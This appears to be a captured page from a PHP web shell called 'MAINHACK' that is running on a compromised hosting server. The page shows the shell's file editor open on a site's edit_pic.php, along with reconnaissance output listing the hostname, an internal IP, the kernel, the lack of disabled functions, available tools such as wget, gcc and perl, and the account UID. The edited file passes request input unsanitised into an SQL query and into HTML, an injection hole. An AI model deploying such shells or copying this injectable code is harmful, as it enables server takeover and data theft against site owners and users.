[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: edit_pic.php
<link rel="stylesheet" href="css/datepicker.css"> <?php ob_start(); session_start(); $code=$_REQUEST['id']; $url=$_REQUEST['url']; include('inc/database.php'); include('inc/db.php'); include('inc/oops.php'); $database = new Db(); $db = $database->getConnection(); $result = $con->prepare("select * from product_img where id=".$code.""); $result->execute(); while($test=$result->fetch(PDO::FETCH_ASSOC)){ $img=$test['image']; $prod_id=$test['product_id']; } ?> <div class="panel" style="margin:0;"> <div class="panel-heading"> <header class="panel-heading"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"> Edit Pic </header> </div> <div class="panel-body"> <form method="post" enctype="multipart/form-data" action="edit_pic_success.php" class="form-horizontal"> <input type="hidden" name="id" value="<?php echo $code; ?>" /> <input type="hidden" name="pro_id" value="<?php echo $prod_id; ?>" /> <div class="form-group"> <label class="control-label col-sm-2"> Image</label> <div class="col-sm-10"> <img src="imgs/<?php echo $img; ?>" width="200"> </div> </div> <div class="form-group"> <label class="control-label col-sm-2">Change Image</label> <div class="col-sm-10"> <input type="file" name="file" /> </div> </div> <button type="submit" class="btn btn-success" name="sub">Change</button> <a href="edit_product_final.php?id=<?php echo $prod_id; ?>" class="btn btn-danger">Close </a> </form> </div> </div> <script src="http://code.jquery.com/jquery-1.9.1.min.js"></script> <script src="js/bootstrap-datepicker.js"></script> <script type="text/javascript"> // When the document is ready $(document).ready(function(){ $("#date1").datepicker({ format: 'dd-mm-yyyy', }); }); </script> </body></html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.92 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619